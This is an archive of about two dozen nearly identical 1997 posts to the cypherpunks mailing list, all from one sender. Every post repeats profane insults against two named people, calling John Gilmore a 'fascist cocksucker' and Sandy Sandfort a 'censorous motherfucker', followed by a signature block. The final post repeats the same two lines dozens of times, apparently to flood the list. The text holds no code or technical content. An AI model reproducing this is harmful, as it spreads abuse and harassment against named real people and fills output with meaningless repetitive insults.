Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771085.522526.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:02:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771038.522154.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:42:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771119.522824.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:49:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771009.521872.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:26:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771151.523108.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:46:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771103.522694.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771035.522141.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771114.522804.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771092.522580.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:39:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771054.522272.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771041.522184.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771087.522545.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771039.522161.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:39:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771138.522983.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771049.522251.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771171.523294.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771024.522006.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771141.523013.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:29:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771062.522339.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:28:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771032.522103.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:27:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771073.522431.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 11:07:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770933.521248.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
